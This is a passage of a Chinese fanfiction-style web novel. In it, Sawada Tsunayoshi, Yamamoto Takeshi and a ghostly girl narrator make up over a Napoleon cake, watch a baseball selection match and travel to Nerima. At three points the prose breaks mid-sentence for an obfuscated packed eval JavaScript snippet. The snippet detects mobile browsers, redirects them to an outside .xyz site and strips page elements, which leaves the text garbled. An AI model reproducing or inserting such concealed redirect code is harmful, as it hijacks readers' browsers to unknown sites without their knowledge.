最后沢田纲吉还是吃了拿破仑蛋糕。提子放得很多,他尝了一口,觉得好甜,怎么会有人喜欢它喜欢得不得了?——果然他还是更喜欢汉堡肉那样咸口的食物;可她很喜欢,在他的脑海中雀跃,声音快活得像只小鸟:“哦哦真的好好吃!妈妈做的拿破仑蛋糕天下第一!我愿意吃一辈子!” 于是他又想,算了,拿破仑蛋糕也不错。 ——那时候,沢田纲吉以为自己会陆陆续续,吃上一辈子的拿破仑蛋糕。 8. 我们和好吧! 沢田纲吉的零花钱很充裕。虽然父亲常年不在家,但至少每个月的家用都会准时打回来。沢田奈奈取了钱之后会哼着歌做一顿大餐,然后抽出一张万元或五千面值的钞票递给他,说这是阿纲你这个月的零花钱,要好好规划买什么哦。 说到零花钱,沢田纲吉的零花钱一般两个用途。其一他要应付放学后将他堵到角落里的混混,其二么,他定期买每周的《Jump》。 他喜欢看热血沸腾的打斗场面,故此更偏爱少年漫题材,杂志一拿到手就迫不及待翻到特定的页面,然后看着上面的剧情心潮澎湃。 以前他一个人阅读,遇到高潮部分也没有分享喜悦的同伴,就只能激动地在床上滚来滚去;不知名来客出现后,他一看《Jump》她就冒出来,两个人一边斗嘴一边吐槽一边看下去。 “这个动作不太真实,违反了人体结构,实际上是做不出来的。” “你怎么会知道这种东西。不会是瞎说的吧。”就像是骗他答案一定是A那样瞎说。 “才不是瞎说,这是本人的宝贵经验。但话又说回来,非要做这个动作倒也可以——拼着骨折的代价打败敌人,很热血嘛。” “所以其实是做得出来的。可你怎么一副那么熟练的样子。你到底是什么人啊……” “这是秘密,不能告诉你。等等,先别翻页,我还没看完呢!” “你看得太慢了。” “是你看得太快!” “……” 看完热血漫后,再看看有没有有意思的新作品。没有的话,沢田纲吉会将整本杂志都合上,对于他而言,其他的作品便都没什么意思了。——这是从前。 “都已经花了钱了,就算不喜欢也要全部看完才行,”现在,那家伙就在他耳边振振有词,“我要看《超星爆发》!” 沢田纲吉一边吐槽“其实就是想看《超星爆发》,却还找借口”,一边将杂志翻到相应的页数。她看得津津有味,随口和他讨论剧情,可他表现得完全是个门外汉:《超星爆发》已经连载两年了,他以前的剧情都没注意过,怎么和她讨论? 可他很想和她讨论她喜欢的东西。 于是沢田奈奈再一次抽出万元大钞递给他那天,沢田纲吉放学时踌躇一会儿,没走平时的路,而是找了条小道,绕过了等着他的混混,到了书店去。 “呃,老板,请问有没有……” 他买回了《超星爆发》的所有单行本。 他气喘吁吁地把它们搬回家,沢田奈奈惊讶地问他怎么心血来潮买那么多漫画?他露出腼腆的笑容说突然想看。回到房间里,那家伙正好没来,他在空落落的黄昏中一个人翻开单行本第一册。 封面上巨大的眼睛占据了整个画面,眼球的深处,一个圆点向四周迸射光辉,他将它举高放到眼前,做了特殊处理的纸张使得这光辉如同真的太阳般照亮了整个房间,而角色们就环绕在眼球周围,用灵魂的形态大笑着。 明明是搞笑日常漫,却在扉页上煽情地写。 “超新星爆发的时候,不同维度的人们能够看到彼此。哪怕是平时无法接触现实的灵魂,也会在这个瞬间出现在人世间。” “——这个瞬间,就是拥抱灵魂的唯一时刻。” 沢田纲吉摩挲着封面上的眼睛。恍然意识到只用了很短的时间他就已经习惯了她的存在,可他还从未见过她。她突兀出现在他的生活中,对他了如指掌,他却不知道关于她的任何。 她是个什么样的人,有着什么样的身份,过着什么样的生活,她又长什么样? 沢田纲吉站到镜子前,端详着自己的眼睛,黄昏入夜逢魔时刻,他的眼睛在镜中如同不见底的深潭,他想看到潭水的最深处。少年听过古老的传说:眼睛是灵魂的寄居地,于是固执地想从那里面捕捉她的蛛丝马迹——可他什么也找不到。 少年的执拗一无是处。 沢田纲吉是个普通人。从前他接受这一事实,直到如今,少年居然学会了不甘: 他不甘如此,不甘他连抱一抱她,居然都不可行。 · “……我想要拥抱无法接触现实的灵魂。” 黄昏的天亮油油的,明黄色像老电影的色调。少年站在幕布的中心,眼神灼灼地看向我。 我忍不住想挠头。 怎么回事,理由居然那么正经、那么上台面。难道我要输了吗?不行!我连忙也绞尽脑汁地编理由:“这么说,嗯,我喜欢《超星爆发》,是因为我相信这个世界上真的存在灵魂和外星人……刚好这部漫画的题材两者都有。” 印象里我在看一本边角卷起页面破烂的书。不是《超星爆发》,而是一本科普鬼魂存在的杂志,视野中“我”随手而粗鲁地翻找着相关的信息,口中喃喃着“灵魂”“外星人”之类的字样。 那大概是我附身了的某个人吧。这样的存在一共有十三个,我对他们的印象已经模糊到了记不得他们名字、身份、国籍的地步,可流浪的日子还是在我的灵魂上刻下了痕迹,我猜对灵魂和外星人的执着是其中之一。 我说:“虽然喜好的原因不同,但能有同样的爱好,真是了不起的缘分,”话都说到这了,我干脆又感叹了一遍,“阿纲,没准我们真是彼此灵魂的半身也说不定哦?” “是、是吗……” 他笑了一下,不知为何,我觉得这笑容有些勉强。接下来的对话里他表现得心不在焉,我们向家的方向前进,即将分开的时候,他再次出声了:“阿雪会和每一个合得来的人,都说,‘我们是彼此灵魂的半身’吗?” 少年的声音闷闷的。 他不太敢看我的眼睛。躲避着我的眼神。 我大吃一惊,反应过来后笑了,笑得前仰后合,天哪:“阿纲!你是在吃醋吗?” 这下轮到他绷不住脸皮了。他大声地说没有!这有什么好吃醋的你不要乱想啊!不要自顾自地说这种话! 接着他陷入一段胡言乱语的状态,看得出他快不知所措地要升天了:少年把《Jump》举起来挡住了脸,可即使这样我也看到了他红透了的耳朵。 我没忍住凑上去捏了捏他的耳垂,真的很烫。而他像只被捏住耳朵的兔子一样跳了起来,从书后露出一只可怜的眼睛慌乱地看着我。 “阿雪……?!” 我解释:“我在帮你降温。” 他没有回答,瞪圆了双眼,呆愣了两秒,在我想要靠近的时候,他惊慌失措地摔了个屁股墩,然后动作敏捷——如果用这种状态去上体育课老师会大赞他进步飞快——地爬了起来,什么也没说,同手同脚地跑了。 他落荒而逃。 兔子真是敏感的动物。 · 第二天。 铃声刚好响起时,我刚好走进教室,环顾一周时发现沢田纲吉没有在位置上。 我是精准时间踩点大师,沢田纲吉是至高无上迟到大王。我们没有熟悉起来之前,他几乎每天都迟到,被老师罚在教室外蔫头巴脑地站着;后来我们熟悉起来,常常我踩点进教室的时候会发现他已经坐在了位置上。他用亮晶晶的眼睛看着我,问我有没有吃早饭。 我回答没吃,然后他就从桌子底下给我递食物。有时候是饭团,有时候是一小块蛋糕,有时候是一份饼干。吃得出来是自己做的,而且味道莫名很熟悉,吃得我眼泪汪汪,拍着胸脯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748996|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承诺帮他解决作业。 沢田纲吉:“……” 他无奈地说:“恩将仇报的事,就不必了吧……” 总之,他每天给我带的早餐也成为了我们友谊用不可或缺的一部分。 但今天,不可或缺的部分似乎缺席了。 铃声响过三分钟,走廊才传来仓促的脚步声。脚步声之后是戛然而止的刹车,被班主任揪住领子的沢田纲吉被训了一顿,“之前那么勤奋,谁知道还是死性不改!罚站到早读下课为止!”班主任扔下这句话后扬长而去,他在教室门口站住,像生根的树,不动了。 教室里,山本武给我扔纸团:“你们吵架了吗?” 我也扔纸团:“我什么也没做啊。” 他了然:“你们吵架了,但你不知道。”后半句话他是笑着写的,字迹歪歪扭扭。 我瞪着皱巴巴的纸条,用力画了三个“?”表示我的震惊,然后团吧团吧揉起来,咚一下扔中山本武的脑袋。 他揉揉脑袋笑了,抬头看我一眼,接着在纸团上写了什么。但不再扔回来——可能怕我又砸他脑袋,啧——他抓起书大声读了起来。哦,现在是早读课。 我也装模作样地念起了国文,念了一会觉得很没意思,神游天外、目光漂移,我突然发现窗外不远处有一只鸟。 并盛町林木旺盛,绿意葱郁,并盛中学校园内也种了许多年岁厚重的大树。鸟儿在树上筑巢,我们读书的时候它们在树上跳来跳去;我们学习的时候它们飞来飞去。很自在啊。 被我盯上的那只鸟,羽毛灰白色,颜色从脑袋到尾巴逐渐变淡,尾羽是纯粹的白色。它在树影之中穿梭,和另一只鸟打了起来。打了两三分钟后,它赢了,这骄傲的赢家叼着对手身上的羽毛,神气昂昂地振翅飞远。 我旁观了这场斗争,看得如痴如醉。等它飞走后,我才意识到从刚才起就一直有人在看我。是谁呢? 山本武坐在我的左后侧,我转头看他,他好像正在专心读书,目不斜视;沢田纲吉在教室外站着,他的手搭在书包带子上,脸望向另一侧,看的并不是我的方向。 未等我细想,铃声响了。早读课结束了。哄哄闹闹的读书声消失,哗啦啦、呜哇哇,取而代之的是伸懒腰的、叹气的、活动筋骨的、各种各样的声音。 在这混乱中,沢田纲吉从门口一步拖三步地踱了进来,走到我的座位前。 · 然后他站定不动了。 · 我正趴在桌子上,伸手在桌斗里摸昨天没看完的《Jump》,眼前突然投下一片阴影。我惊讶地抬头,他用忐忑不安的脸看着我。但没说话。 想要我先开口么。呵。不可能的! 我赶紧瞪大眼睛和他比,谁先眨眼谁就输。 可我们还没分出胜负,我的肚子就咕咕咕地响了。 我:“……” 丢脸啊!什么时候响不好,偏偏这个时候出来刷存在感! 好在我这人一向厚脸皮,我干脆瞪着他,伸出手向上打开摊平,声色俱厉:“蠢纲,你得对我的肚子负责!”如果不是他总在这个时候给我投喂,我的胃怎么可能形成肌肉记忆! 沢田纲吉:“……” 他再次露出无奈的神色——我发现他很容易对我无奈——然后在书包里掏啊掏,我以为他会摸出来被书本压得扁扁的面包,可和往常一样,他拿出来的是完好无损的包装。 我定睛一看,嚯。拿破仑蛋糕。 “加了很多提子,”他说,“吃了这个,我们可以和好吗?” · 和好。 …… 不是。我们吵架了吗? 9. 提子拿破仑 看着眼前的蛋糕,我艰难地咽了咽口水。 啊。提子拿破仑。这个名字听起来就很好吃。 ……不行不行,不能那么快露出破绽! 我矜持地说:“我得先吃了再回答。不好吃的话我们就断绝关系吧!” 本以为他会露出慌张神色,谁知道他却一脸笃定,信心满满。我打开透明的包装盒,蒯了一口放进嘴里——好好吃!!! 提子口感柔软,甜度恰到好处,面包胚被夹在酥层之间,薄薄一层奶油让整体的口感更加丰富,酥、软、甜,简直难以想象世界上会有这样合我口味的点心,就像有人专门照着我的口味调整了一样。 我没有马上回答,而是又蒯了一勺子,饿虎扑食一样把它放到嘴里嚼嚼嚼。沢田纲吉就站在面前看着我,我再抬头的时候,他脸上露出一丝笑意。 “……” 我和他对视两秒。 这种时候,就算撒谎也不可能成功了。 于是,我伸出一只手,和他握了握,字正腔圆地说:“那么成交,我们和好,阿纲。” “刚才称呼还是‘蠢纲’……” “不要在意这些细节啦,细节。” · 我和沢田纲吉和好了。虽然我也不知道什么时候我们吵架了。但他都给我带拿破仑蛋糕了,那他说什么就是什么吧。 上午的课程平时没什么不同,中午的时候我照例和京子她们一起吃午餐。把天妇罗塞进嘴里的时候,黑川花冷不丁问我有没有喜欢的人。 我大吃一惊:“没有。怎么会这样问?” 黑川花:“最近有关于你的绯闻哦小雪。” 我:“我的绯闻。我和谁的?” 黑川花:“山本武和沢田纲吉。听说有人在赌你到底会和谁在一起。大多数人押山本。” 这不奇怪,虽然在我心里朋友地位都平等、沢田纲吉还因为微妙的理由在我心里更重要一点,但大多数人比较起来,都会觉得山本武更优秀一些。 我没有马上回答,而是沉吟着反问:“那你们觉得我喜欢谁?” 黑川花笑了,她慢悠悠地说:“我看你更喜欢京子。” “没错没错,”我挽住京子的手臂,欢天喜地地宣布,“我最喜欢京子了!” 京子往我嘴里塞玉子烧。我嚼嚼嚼,甜甜的,好鲜美。我幸福地眯起眼,于是京子也笑了,拍了拍我的手臂。 黑川花的声音无奈地传过来:“所以说啊。看到你这幅样子,根本没办法想象你这个笨蛋会喜欢上谁……” “不过,喜欢你的人,可不止他们两个哦,”她意味深长地说完了后半句。 · 喜欢我的人挺多的。 废话!喜欢我不是理所当然的吗,就是我,也喜欢我自己啊! · 没错。我有一个宝贵的特质,那就是很有自知之明:我清楚地知道,排除一些因素不说,我在校园里很受欢迎。 好几次,有男生站到我面前猛地鞠躬,递上一封外观精美的信件,接着他们或者大喊或者结结巴巴,总之中心主旨不变:“拜托了,朝暮同学,请和我交往/约会吧!” “——不好意思。但是我拒绝。” 我当然是婉拒。我对他们毫无感觉。可类似的场景还是屡次上演,直到后来我和山本武熟悉起来: 关系缓和之后,路上碰到了彼此,我们两个就会并肩同行。这个时候如果刚好有人出现向我告白,不用我从贫瘠的国文词库中想拒绝的话,山本武就会一马当先站出来,帮我回绝对方。 “抱歉抱歉,但是我已经和阿雪约好了,她暂时没空哦,”黑发少年抓了抓凌乱的头发,露出开朗的无懈可击的笑容,“如果有需要帮忙的地方,可以来找我!” 对方目瞪口呆,结结巴巴地说“不用了”,然后留下一个仓皇的背影。 这样的事情发生得多了之后,就没有人再当面和我表白了。他们改往我的鞋柜里放情书。 下午上课之前,我打开鞋柜门,好几封信迫不及待地冒出来,飘到地上。沢田纲吉在旁边目瞪口呆:“好多……。” 我得意:“这说明我受欢迎。” 然后我撇嘴:“可我不想看别人的信。” 被塞进鞋柜里的心意,我一开始还拆过两封,但很快就失去了兴趣。青春期少年的心绪如出一辙,他们大多摘抄名著上的字句,用浪漫得诡异的诗句来说“我喜欢你”。因为借鉴过度,反而通篇没有多少自己真实的心。我辨认了几次丑得像鬼爬的字迹后彻底失去耐心,深刻觉得认真的我是天下第一蠢蛋,居然就这样白白浪费时间。 我把柜子里的信一把抓出来,呱呱呱揉吧揉吧扔进了垃圾桶。这个过程我表现得冷酷无情,沢田纲吉没忍住说:“这样会不会有些残忍了……?” 我看向他:“哦,那你觉得我要收下它们,然后去和信的主人约会吗?” 他想了想,说:“那还是算了吧。” 我有些惊讶了:“为什么?” 他说:“只是一封信而已……” “啊,没有说信不好的意思!”他在我的目光中,有些慌乱地辨析自己的意思,“只是,太轻了。嗯,如果是喜欢一个人的话,是不会只用一封信来敷衍自己也敷衍对方的。为了一封信和一个陌生的人去约会,我觉得,我觉得很不好……” 他的声音越来越轻,终于说不下去了。我一直在看着他,直到最后他的脸泛起绯红色,他眨眨眼,眨眨眼,结结巴巴地问我:“怎么了,阿雪,为什么这样看着我……。” 我感叹:“阿纲,没想到你的国文水平那么高。至少比我高了。” 我:“用这种水平去考试,你一辈子都是吊车尾第二。抱歉啊!第一是我的了。” 沢田纲吉:“……” 他看了看我,又开始露出无奈的表情:“都说了不要在这种地方展现胜负欲……” · 回到教室的时候上课铃还没有响。 山本武趁机凑过来邀请我去看他下午的棒球比赛。 我如同往常一般拒绝了,但这场比赛似乎非比寻常,一整个下午,山本武都锲而不舍地向我扔纸条,为此引起数学老师的注意:“山本,你来回答这个问题!” 他站起来,大大方方地说:“我不会。” 数学老师黑了脸,把他罚出了教室。他在大家的目光中向外走,路过我的桌子,扔下一张纸条。 事实证明,他没准是故意的。我的位置离门口还有一段距离,可他罚站着罚站着,不知不觉挪到了我的位置边。 他倚在窗户旁的墙壁上躲避老师的侦查,隔着玻璃对我挤眉弄眼。 我:“… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748997|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 我低头看,纸条上写着:“拜托了!我真的很想让阿雪来看一次我的比赛。这是我一生的心愿!” 一生的心愿也太轻飘飘了。而且你还记得你有一个约定执着的B君吗,愿望不应该留给后者吗。 都说到这个份上了,我叹着气在下面画了个大大的勾,举起来给他看。 “好的,下午对吧?” 他猛地点头,脸上露出的笑看上去有点儿傻,眼睛亮亮的,像露珠。 反正我也听不懂数学课,干脆隔着窗户我们玩起了猜丁壳。猜了三盘后我两胜一负,沢田纲吉戳戳我的肩膀,表示他也想加入。 猜丁壳有什么好玩的。 我们三个玩得不知天地为何物,直到数学老师的怒吼传来,我才意识到我连基础的警觉都消失了。 “你们对学习也太不专心了!给我出去站着反省!” 我们拖着步子走出门,哈哈,以为我们会反省?NoNoNo!我们三人汇合,大玩特玩。 “能赢你们一次,也许只是运气问题;一直赢就只能说明一个问题了。” “什么问题?” “我是至尊无敌猜丁壳大师!V我五十就收你们为徒,教授你们无上神功,如何,心动不心动?” 山本武从口袋中掏出一张票递给我:“老师,这是我的学费!请务必收下。”然后把另一张给沢田纲吉。 我接过来一看,原来是棒球场的座位票。而且是靠前排的位置。大多数时候这些座位都先到先得,但作为棒球队员,前排的座位是他们的特权,可以分享给朋友来观看。 某种意义上来说还挺贵重。作为学费绝对够格了。我把它塞到口袋里,压迫的目光看向沢田纲吉。 沢田纲吉:“……” 他从口袋里掏出一块白脱饼干:“树莓味的。” 我接过来拆开包装,掰成三块分发。 我们三个靠在墙壁上,珍惜地把饼干塞进嘴里。 酥脆的饼干不能大口咀嚼,否则咔嚓咔嚓的声音会引来老师注意。我鼓着腮帮子慢慢软化了饼干胚,甜甜的树莓味从舌尖传来,我惬意地眯起了眼。 沢田纲吉突然含糊地提醒我:“那里有一只鸟哦。” 我顺着他的目光看过去,灰鸟在树上蹦蹦跳跳。不久,它的朋友飞来了,大伙一起在树上蹦蹦跳跳。 它们度过了一个美好的午后。 坐到观众席上,我才想起来一件事:我不懂棒球的规则。 棒球、甲子园、少年的青春,这些词语放到一起能够轻易组成一部热血少年番,但当它的规则滑过我的大脑,我平滑的脑部皮层褶皱不会留下任何痕迹。 印象里也有人为我讲解棒球的规则,“先扔出去,接着是……然后是……最后是……好!赢了!”——相关规则在我大脑里自动消音,只剩下无意义的连词,结局是我诚恳地说你放弃吧,没用的,可能我和棒球相性不合。 想到这里,我拉住准备去换球服的山本武:“有一件很重要的事情——” “——你和棒球相性不合,”山本武的声音和我的重合在了一起,我惊讶地看他,他早有预料地笑着道,“不过没关系,你看着我就可以了。” 我嘟囔:“你是我肚子里的蛔虫……?” 他笑:“因为阿雪从来就没有变化。” 10. 还我命来 他去换球服了,我和沢田纲吉坐在座位上,看着球场上的人做准备动作。观众席上的人渐渐多了起来,在他们的谈话声中,我知道这场比赛并不是平常的训练赛,而是选取队员前去和外校竞争的选拔赛。 “山本君肯定会去吧,毕竟他可是我们的王牌啊。” “不过为了公平还是举办了选拔赛。竞争一定很激烈,毕竟除了山本,其他人的名单可还没有确定。” “啊——!山本君出来了!怎么感觉他今天更帅了?” 棒球运动员们鱼贯而出,站到棒球场上,因为穿着形制相同的队服、戴上了护具,很难分得清谁是谁,但我一秒就锁定了山本武的位置。 少年身形高挑,风姿非凡,比旁人都高一截的身高让他鹤立鸡群,有些臃肿的队服也无法掩盖他俊美的气势,虽然隔着护具看不清他的眼睛,可他那样意气风发的神采让人难以从他身上拔离目光。 他正挥舞着手臂,回应大家对他的呼唤,满场的欢呼声中,十之八九都是为他而响起,不愧是校园明星。我看着他,幻视了一块油锅里的牛排,观众的目光是大火加油,山本武本人是这块受欢迎的牛排,滋滋滋、滋滋滋,他被炸得外焦里嫩。 比赛即将开始,所有人各就各位,我忧心忡忡地转头问沢田纲吉:“你知道棒球运动的规则吗?” 他说:“呃,棒球运动,就是拿棒子把球打出去?打进篮子里?” 我:“那样的话还不如玩篮球。” 我犀利地点评:“看出来了。蠢纲你对棒球的了解真是糟糕透顶,在这一点上也能和我一较高下么,哼哼,有意思。” 沢田纲吉:“……” 在他第N次“不要在奇怪的地方比高低啊!”的抗议声中,我将目光聚焦到了球场的少年身上。 · 我原本以为在杂乱的人群中,很容易就会失去某人的踪迹,但没有。 山本武是当之无愧的星群中的月亮,人群中的明星,一个初来乍到的观众将目光投向赛场,纵使她不知道比赛进行到了哪一步,她的目光也会下意识望向山本武—— 他的每一步都坚定,每一个动作都标准,在振聋发聩的欢呼声中,他丝毫不受影响,将自己所有的注意力都投入面前的棒球中。我是在这时候才明确意识到:山本武是个目标性很强的人。 该击打棒球的时候就用尽全力,该奔跑起来时挥霍掉身上的每一分力气,毫无保留地追逐。说来我也能隐约意识到,棒球是和“追逐”有关的吧,那么,怪不得山本武是个中翘楚:他有着追逐的耐心和志在必得的决意,他想要做什么的时候,不论如何都会做到的。 那么,这样的人,除了棒球之外,会有什么非达成的目标不可呢? 我将视线落在他的身上,心中出了神。不知过了多久,我听到了比之前更大几倍的呼声,我从沉浸的心神中脱离出来,意识到自己的视线在挪近,我定睛一看。 “山本武!山本武!山本武!” 所有人都在呼唤他的名字。 而黑发少年向我奔跑过来,如同他击打棒球、追逐时差那样,他的动作又坚定、又急促,仿佛我也是他的非达成不可的目标。 他高高举起手臂向我挥舞,少年喊着我的名字,“阿雪!” “——阿武!这里!” 我也忍不住扶着栏杆,探出身子去回应他。 我还是不懂棒球的规则。但是,偶尔看一场棒球比赛,倒也不错。 · 山本武顺利进入出征队伍,他告诉我,三天之后他们就会前往邻市比赛。 “这么快?”我说,“那不就是周末吗。” “嗯,周末大家才有时间去看比赛嘛!阿雪有时间吗?阿纲呢?你们可以再来看我比赛吗?” 他诚恳地说,用狗狗眼看着我们,双手合十地拜托。 我:“你参加完比赛之后有自由活动时间吧?” 山本武:“除了比赛时间,其他时候都自由哦。” 我拉着沢田纲吉的衣领子,正经地宣布:“那我们参加完比赛之后去逛一逛练马区吧!阿纲,你负责做旅游计划。” 山本武马上欢呼:“好!已经开始期待阿纲导游的计划了!” 沢田纲吉还没来得及抗议,就呆住了:“诶……我,我做旅游计划?”真的假的? 我语气不善:“阿武比赛之前要练习,他哪有时间做计划;我做旅游计划……我只会做杀人计划,你想体验杀人流程一日游吗?” 沢田纲吉欲哭无泪:“不,重点是,等等,可是,我从来没做过旅游计划……” 严格来说是根本没有和同龄人独自出游过,相关的流程也是一窍不通。用这样的状态去做旅游计划,真的没问题吗? “能有什么问题,没做过那现在就可以有第一次了嘛,”我加重了按在他肩膀上的力道,语气阴森森的,“还是说你很想看杀人现场?” 沢田纲吉:“……” · 三天后。 一大早天气就很好。 我和琴子奶奶说再见,背着书包走出家门,前往附近的公园。按照计划,山本武随棒球队前往练马区,我和沢田纲吉则约好先在公园见面,然后坐电车过去。 我本以为我出门得够早了,可才走近就看到有一个褐发身影在滑梯附近。少年踢着泥土,心神不定。 我心血来潮,玩心大起,于是蹑手蹑脚地靠近,绕到他身后,往他耳根吹气:“还——我——命——来——” 出乎意料,他没有手舞足蹈一蹦三尺高,也没有喊着“呜哇!!!鬼啊!!!!”,吓得头发都根根竖起。 他陷入了一段沉默之中,我差点以为他没听见。 在我忍不住想要再来一次的时候,他终于出声了。 “……是你吗?” 他显得异常冷静。语气虽然颤抖,却不像是在害怕,嗯。与其说是害怕,不如说是期待。 他猜到是我了吗? 我纳闷地回答:“是我。”接着转到他面前去,“没想到你居然没被吓到。阿纲,很了不起喔。” 他看清了我的脸,嘴唇竟哆嗦得更厉害了。 “是你。”他说,这几个音节从他的嘴里吐出来,好像被牙齿敲打了很多遍,表现出破碎的断续感。 我重复了一遍“是我”,在他呆愣的注视中失去了耐心,抓着他书包的带子一边迈开步子一边催促:“快走,等会赶不上电车了。旅游计划做好了吗?钱带够了吗?我的提子拿破仑蛋糕!” 一连串的发问,我以为他会被我问得宕机。结果没有,他被我拉着书包带子跌跌撞撞往前走,沉默地从书包里拿出蛋糕给我,简短地回答我做好了、带够了。 然后他就不说话了。 直到我们抵达车站,我再回头时,我被吓了一跳。 · ……他哭了。 · 他的脸红透了。鼻尖、脸颊还有眼圈都红红的,像熟透了的西红柿。他的眼眶里挂满了泪水,他一路上就不停地眨眼、免得泪水落下来,但我转头看他的一瞬间,泪水划过他的脸,打湿了脚下的土地。 就算我想打马虎眼说这是眼睛进了沙子也无济于事了。如果我是瞎子或许我还能装聋作哑地问你怎么不说话了,可惜我不是。 我宕机了一会,脑子飞快运转,最终我输出以下程序: 我诚恳地将手搭在他的肩膀上道歉:“对不起啊,阿纲。以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748998|174244||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我再也不吓你了。我保证。” 谁能想到这家伙被吓到的反应不是嗷嗷叫而是憋了半天之后哭啊! 他瞪着我,似乎过去我做过很多次相同的承诺——不用说,这承诺不牢靠。不过,一碰上我的目光,他就触电一样躲闪,全无与我对峙的勇气。 “……是我的问题,”他瓮声瓮气地说,“我……我一会儿就好了。” 说着,他举起手胡乱地抹了几把脸,不过这除了让他的脸更红外毫无作用。我看不下去了,从背包里掏出纸巾递给了他。他接过去低低说了声“谢谢”,然后把它盖到了脸上。 我:“……” 算了,我安慰自己,这家伙犯一会儿傻自己会好的。没听说过有人因为鬼被吓死了的事迹。 · “还——我——命——来——” 幽幽的声音出现在耳边,极力渲染的恐怖和阴森:沢田纲吉以为是幻听。 他甚至能够推演出下一步她的反应:在他被吓得蹦起来之后哈哈大笑,说你真的好胆小啊!在他恼羞成怒的时候说下次再也不了——下一次,她还是这样突然冒出来,吓他一跳,大笑不止。 沢田纲吉怕鬼。怕得不得了。小时候沢田奈奈哄他睡觉,骗他不好好睡觉的小孩会被鬼夺走身体。他怕得瑟瑟发抖,躲在被子里催眠自己,说鬼你不要来、鬼你不要来。 他从小怕鬼。 可她却是不折不扣的鬼魂。 而他不怕她。 甚至于到后来,他开始想念她。 少了突兀在脑海中出现的声音后,少年夜晚开始失眠,他翻来覆去,干脆掀开被子,在屋子里反复踱步。以从前沢田奈奈所说的睡前故事情节来看,他现在无异于在诱惑夺取他身体的鬼魂出现。 他却不怕。 他说你怎么还不来呢? 等到他意识到沢田奈奈说的是谎话,她也不会再来的时候,他开始幻听。 幻听她突然出现,和他说那儿有一只很漂亮的鸟,天上的云形状很有趣,阿纲啊我们今晚绕道去吃芭菲冰淇淋吧,妈妈给了我们零花钱呢。 幻听之所以是幻听,因为它本身就是虚幻。沢田纲吉花了好大功夫辨认什么是真,什么是假。时间倏忽而过,他无由地沮丧:或许他要靠着幻听来度过余生。 此时此刻,在耳边的声音与幻听无异。但很快,他反应过来、辨认出来:这声音是真的。 真实的、并非他幻听的、在他耳边出现的,怀着主人某种捉弄的情绪的。 ——她的声音。 那瞬间,沢田纲吉颤抖了。他的心在颤抖,他的嘴唇在颤抖。他的一切都在颤抖,他像一台旧机器一样震动着,堆在他心脏上的尘埃被抖散,少年语气中的期冀焕发新生。他问: “……是你吗?” 她随口回答,说,是。然后跳着步子绕到他面前,好奇地看他的反应。 黑发黑眼的少女,左脸颊上的小痣,不留神看就像是青春的雀斑,发丝凌乱,脑后随意扎起的辫子在风中晃动着,好奇探究的目光像鸟一样钻进他的心。 所以,她长这个样子。是的。她长这个样子。 他怔愣地望着她,仿佛回到那个被黄昏填满的屋子,少年站在镜子前,凝望着自己的眼睛。那一次他什么也没有找到,而这一次,在晨曦之中,他看清楚她的影子。 她的灵魂寄居在他的眼中,此时此刻,正如晨曦一般明亮。 是你……。是你。 沢田纲吉为此恍然。 在虚幻之中太久,他才找到那片割碎虚幻的镜子碎片。少年抓着它,为了那须臾的温存撞得头破血流,形容狼狈,最后他终于挣入现实,望着那不知这是重逢的人,喜极而泣。 11. 我们开一家洗车店吧! 东京练马区是东京23区中人口第二多的行政区,以动漫文化、城市农业和宜居环境著称?,这次和并盛中学比赛的是石神井中学。 我们乘坐电车,很快就抵达站点,这个时候沢田纲吉虽然眼眶还有些红,但已经完全平复好了心情,他和我说这里是《哆啦A梦》的取景地。 我想了想,依稀记得上次看《哆啦A梦》,已经是七八年前的事了。不过这不是重点,重点是:“看来有认真做功课嘛。阿纲。值得表扬。” 委任沢田纲吉做旅行计划,看来是个正确的选择。我们一路走他一路告诉我不同地方的景点分别叫什么名字、和什么动漫有关联。平时回答老师问题的时候磕磕巴巴,和我解说的时候却很流畅,显然他做足了功课。 我问他是不是以前来过这里?他说不,这是他第一次来。 “但来之前查了资料,还买了一本指南……”他从书包里掏出一本《著名动漫之乡~练马游玩指南》,神色腼腆。 意外得很靠谱呢,阿纲。 · 正经论起来,石神井中学的整体水平是超过并盛中学的。远道而来的客场,和蓄势待发的主场,大多数人都认为石神井中学会赢。 哪怕并盛中学的教练,在鼓励队员时,说的也是“尽力就好”,大概他将队员们带来,更多是想要大家感受一下气氛吧。 山本武表现得却很乐观。 “看我们把冠军的奖杯捧回来!”比赛前,他这样信心满满地和我说。 我对沢田纲吉说:“比赛结束后的庆祝晚餐在哪里吃?” 沢田纲吉开始翻指南:“石神井公园附近的美食街,有一家售卖相扑火锅的店,好评星级很高。” 我转头对山本武说:“那你赢了之后,我们去吃相扑火锅怎么样。” 